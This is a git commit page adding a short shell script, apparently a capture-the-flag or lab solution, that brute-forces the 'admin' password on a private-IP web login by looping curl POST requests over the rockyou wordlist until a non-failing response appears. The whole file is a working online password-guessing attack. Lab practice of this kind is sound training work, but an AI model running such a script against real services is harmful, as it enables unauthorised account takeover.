2026-03-11
This commit is contained in:
10
AoC/2025/24/bruteforce.sh
Executable file
10
AoC/2025/24/bruteforce.sh
Executable file
@@ -0,0 +1,10 @@
|
||||
for word in $(cat /usr/share/wordlists/rockyou.txt); do
|
||||
response=$(curl -s -A "secretcomputer" -X POST -d "username=admin&password=$word" http://10.82.144.99/terminal.php?action=login)
|
||||
#echo $response
|
||||
status=$(echo $response | jq -e ".status" | tr -d '"')
|
||||
printf "Checking %s with status %s \r" "$word" "$status"
|
||||
if [ "$status" != "fail" ]; then
|
||||
echo "Credentials are admin:$word"
|
||||
break
|
||||
fi
|
||||
done
|
||||
Reference in New Issue
Block a user